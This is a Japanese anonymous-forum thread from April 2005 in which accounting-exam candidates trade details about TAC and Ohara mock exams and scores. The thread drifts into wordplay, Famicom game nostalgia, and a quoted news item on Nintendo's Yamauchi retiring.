本校は日大のせいで平均は低いんだってさ

640 ：一般に公正妥当と認められた名無しさん：2005/04/20(水) 00:14:00 ID:???

>>639

日大生なんて本校に10人もいないだろ？俺は見たことないぞ。
周りから判断するに、早慶5：MARCH3：東一2：その他1って漢字だと思うんだけど。

641 ：一般に公正妥当と認められた名無しさん：2005/04/20(水) 04:07:32 ID:7G51kMO8

ふぇん計は難点から名前載りますかね？

642 ：一般に公正妥当と認められた名無しさん：2005/04/20(水) 20:31:53 ID:???

>>641

おれは去年数字は全部合ってたが、それでも名前は
のらなかったよ。そんな感じ。

643 ：一般に公正妥当と認められた名無しさん：2005/04/20(水) 20:58:10 ID:???

>>641
去年は一回目が113点から、二回目が167点からだったよ
今年の難易度だとどうだろ。

644 ：一般に公正妥当と認められた名無しさん：2005/04/21(木) 23:57:02 ID:???

差額利益がゼロになったよｗ
内部振替価格が市価基準なら受入事業部にとっては自製も購入も無差別じゃ
ねーのかよ　orz...

645 ：一般に公正妥当と認められた名無しさん：2005/04/22(金) 00:32:24 ID:???

俺もそうした…

646 ：一般に公正妥当と認められた名無しさん：2005/04/22(金) 22:41:38 ID:???

M&Aって、なんでトピカルなの？はやってるの？

647 ：一般に公正妥当と認められた名無しさん：2005/04/22(金) 23:17:48 ID:???

Ｍ＆ＡはとってもトロピカルだＹＯ！

648 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 22:09:59 ID:???

ﾎﾘｴﾓﾝ

649 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 23:09:45 ID:???

Ｍ＆Ｍ

650 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 23:10:41 ID:???

B&B

651 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 23:12:05 ID:???

Ｐ＆Ｇ

652 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 23:12:58 ID:???

バツ＆テリー

653 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 23:15:38 ID:???

サイモン＆ガーファンクル

654 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 23:16:44 ID:???

ジョソンソ＆ジョソンソ

655 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 23:20:13 ID:???

砂川捨丸＆豊年斎梅坊主

656 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 23:20:52 ID:???

サムソン＆デリラ

657 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 23:22:32 ID:tfsyaF+M

スタスキー＆ハッチ

658 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 23:23:09 ID:???

＆Ｇ

659 ：一般に公正妥当と認められた名無しさん：2005/04/23(土) 23:59:19 ID:???

テツ＆トモ

660 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 01:02:28 ID:DRpYJoaS

タッキー＆…ごめん、ショボかった

661 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 01:05:10 ID:???

ジュン＆ネネ

662 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 01:43:21 ID:???

プロクター＆ギャンブル

663 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 02:36:27 ID:???

全答練2回目が7月に変更なった理由を知っている人いますか？
(自己採点で)短答駄目と思われるやつは，全答練試しで受けずに，はよー来年度に向け始動せよという，ありがたい措置なのでしょうか。。

664 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 06:30:34 ID:???

どうせ、引越しがらみのTACの事務的な都合なんじゃないの？

665 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 07:51:49 ID:???

∩

666 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 09:43:55 ID:rAy1HPwW

>>663
短答発表前→発表後へと変更になったんでしょ？
短答落ちの人は７月は勉強しないケースが多いから、発表後にすることで
受験者数を減らし、採点の手間を省きたいということかな？
ただ、２回目だけを受けるはずだった人（主に他校生）が受けなくなって申込者減→収入減というマイナス要素もあるが。

667 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 11:37:18 ID:???

漏れが採点講師だっら収入減より答案が千枚減る方を選ぶ。

668 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 11:46:48 ID:ZsvaJ6rH

具体的な日にちを知ってたら教えてくれますか？

669 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 11:57:23 ID:???

たしか七夕がからんでいたような…

670 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 12:22:39 ID:???

発表後試験は、逆転の発想でいいアイデアだと思うよ。
短答落ちが母集団に混ざっているよりは、よっぽど成績に信憑性がある。
短答落ちが受けていても、短答合格者のみの得点集計も可能だ。
採点人数も減って丁寧に採点できるしいいことずくめ。

671 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 12:52:50 ID:ZsvaJ6rH

>>669
ありがとう！
てことは１週間か２週間ずれたことになるのね。

672 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 12:58:11 ID:???

>>671
日程変更は一週間近くに発表されてる。
ずれたのは二週間。7/5・6・7＆7/9・10。

>>670
採点中に短答合格者が確定するから集計のときには
従来の日程でも短答合格者のみの集計・統計は普通に可能。
よって採点者の負担軽減が主目的では。

673 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 13:56:19 ID:???

去年の論文式全答練２回目の受験者数は何人くらいだったの？
参考までに教えてチョンマゲ！

674 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 19:13:18 ID:???

短答前途ウ練っていつ？

675 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 19:29:29 ID:???

>>674

1日

676 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 20:28:57 ID:???

>>675
大原生なんだけど
早稲田で直接申し込める？

677 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 21:36:04 ID:???

>>676

TACの短答全答練か？
だとしたら早稲田会場はないよ。
5月1日当日に最寄りのTAC校舎に池。直接申し込みも可。

678 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 21:42:09 ID:???

>>677
え、俺大原の水道橋校なんだけど
本屋の隣のＴＡＣ本稿でやるのかね
そうなんだありがとう
最後に教えて
おいくら？

679 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 21:50:06 ID:???

>>678

本校でもやるよ。
10：00～と14：00～。
受付は9：00～だから。
料金はｽﾏﾇが知らない。

680 ：一般に公正妥当と認められた名無しさん：2005/04/24(日) 21:52:26 ID:???

>>679
丁寧にありがとう
当日申し込むとばたばたするから
金曜までに申し込もうかな
ＴＡＣ入ったことないから緊張するなあ

681 ：一般に公正妥当と認められた名無しさん：2005/04/26(火) 22:52:38 ID:???

全答練の結果っていつごろ送付されてくるんでしょうか。
あと、答案は二度と戻ってこないんでしょうか。

リターンリバーサルきぼん。

682 ：一般に公正妥当と認められた名無しさん：2005/04/26(火) 23:12:30 ID:???

↑
意味わかってるか？

683 ：一般に公正妥当と認められた名無しさん：2005/04/26(火) 23:16:13 ID:???

いいんだ。詳しい意味なんて。

リターンは戻る。
リバースも戻る。

答案が戻って来て欲しいと切に願う受験生の心の叫びを専門用語に乗せて
外界に解き放ったのだよ。

684 ：一般に公正妥当と認められた名無しさん：2005/04/26(火) 23:21:18 ID:???

ドローフォーカード
リバースカード

685 ：一般に公正妥当と認められた名無しさん：2005/04/26(火) 23:28:18 ID:???

スキップスキップリバーススキップスキップ

686 ：一般に公正妥当と認められた名無しさん：2005/04/26(火) 23:40:33 ID:???

ゲッツ！あんどターン！あんどリバース！！

687 ：一般に公正妥当と認められた名無しさん：2005/04/26(火) 23:44:28 ID:???

上上下下左右左右BA

688 ：一般に公正妥当と認められた名無しさん：2005/04/26(火) 23:52:09 ID:???

上下左右下上右左左右下上右左上！

689 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 01:36:20 ID:???

なんだ？グラディウスの裏技だっけ？ｗ

690 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 09:53:22 ID:???

今どきの受験生世代がなんでグラディウスを知ってるんだ？ｗ

691 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 14:09:31 ID:???

２１歳だが知ってるぞ。
俺が小１くらいのときはまだファミリーコンピュータの時代だった。
ドラクエ３とかめっさ流行った。

692 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 15:42:25 ID:xdH6J2rM

グラディウスに限らずコナミのゲームではこの手の裏技は多いよ。
ちなみに今年２４歳です。
２４歳だとパックマンディフェンスにそこまでの感動は覚えなかった。
ゲームネタもたまにはいいね。

693 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 15:51:48 ID:???

エレベーターアクションとかアイスクライマーにはとみにハマった

694 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 16:43:12 ID:???

ロックマン２とか大好きだった。
ウッドマンには何が効いて、何で攻撃してもダメージが与えられないとかあったなｗ

695 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 17:56:15 ID:???

スプリングマン

696 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 18:01:41 ID:???

ロックマン２の音楽よすぎ

697 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 20:01:14 ID:???

「ずんずん教の野望」「つっぱり大相撲」　オススメ

698 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 20:24:30 ID:???

ドラクエ２、何回パスワード書き写し間違えたことか・・・

699 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 20:58:04 ID:???

ドラクエ3で友情壊れた奴もいたな。

700 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 20:58:59 ID:???

>>699
なんで？

701 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 21:27:51 ID:xdH6J2rM

何だかやっとみんなが一つになれた気がする。

702 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 21:29:30 ID:???

みんなで落ちれば怖くないってことか？

703 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 21:48:01 ID:???

このまま、みんなで合格の最終ステージクリアだな

704 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 21:50:48 ID:???

任天堂の山内氏、取締役を退任

　任天堂は27日、株主総会を開く6月29日付で山内溥相談役（77）が、55年間務めた取締役を退くと
　発表した。
　同日、年齢や体力的な問題を考え退任したいとの申し出があったという。
　同社は山内氏に対する役員退職慰労金の贈呈を株主総会に提案しないことも明らかにした。
　「会社の将来のために使ってほしい」という本人の意向を尊重したとしている。

　山内氏は1949年、家業のトランプ・カルタメーカー（現任天堂）社長に22歳で就任。
　家庭用ゲーム機「ファミリーコンピュータ」の大ヒットにより同社を世界的なテレビゲームメーカーに
　育てた。

705 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 22:15:39 ID:???

22歳で社長!?すっっげえ！

706 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 23:36:24 ID:???

短答全国模試って
全部で何人ぐらいうけるの？
おしえてちょうだい

707 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 23:37:24 ID:???

>>700
借り物のデータを全部消去してしまったから。

708 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 23:38:14 ID:???

>>706
去年は6000弱

709 ：一般に公正妥当と認められた名無しさん：2005/04/27(水) 23:40:10 ID:???

>>78
ありがとう
そんなに受けるんだ
これで上位１５パーに入れば
自信がつく

710 ：一般に公正妥当と認められた名無しさん：2005/04/28(木) 00:00:56 ID:???

>>709
たくのパンフには１００００万以上と書いてあった